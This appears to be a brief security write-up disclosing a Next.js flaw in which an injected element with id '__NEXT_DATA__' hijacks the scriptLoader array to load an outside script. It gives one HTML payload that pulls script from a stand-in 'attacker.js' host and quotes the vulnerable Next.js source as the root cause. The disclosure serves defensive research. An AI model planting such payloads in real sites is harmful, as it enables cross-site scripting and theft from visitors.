Used by some of the world’s largest companies, Next.js enables you to create full-stack web applications by extending the latest React features, and integrating powerful Rust-based JavaScript tooling for the fastest builds.
In case of SSR, next.js uses the __NEXT_DATA__
id to store the initial props of the page. By hijacking it, it is possible to inject scripts through the scriptLoader
array.
<a id="__NEXT_DATA__">{ "scriptLoader": [{ "src": "https://attacker.js/xss.js" }]}</a>
Root Cause
if (initialData.scriptLoader) {
const { initScriptLoader } = require('./script')
initScriptLoader(initialData.scriptLoader)
}
export function initScriptLoader(scriptLoaderItems: ScriptProps[]) {
scriptLoaderItems.forEach(handleClientScriptLoad)
addBeforeInteractiveToCache()
}
export function handleClientScriptLoad(props: ScriptProps) {
const { strategy = 'afterInteractive' } = props
if (strategy === 'lazyOnload') {
window.addEventListener('load', () => {
requestIdleCallback(() => loadScript(props))
})
} else {
loadScript(props)
}
}
const loadScript = (props: ScriptProps): void => {
// Retracted
const cacheKey = id || src
// Retracted
if (src) {
el.src = src
ScriptCache.set(src, loadPromise)
}
// Retracted
document.body.appendChild(el)
}
Related links:
Found by @kevin_mizu.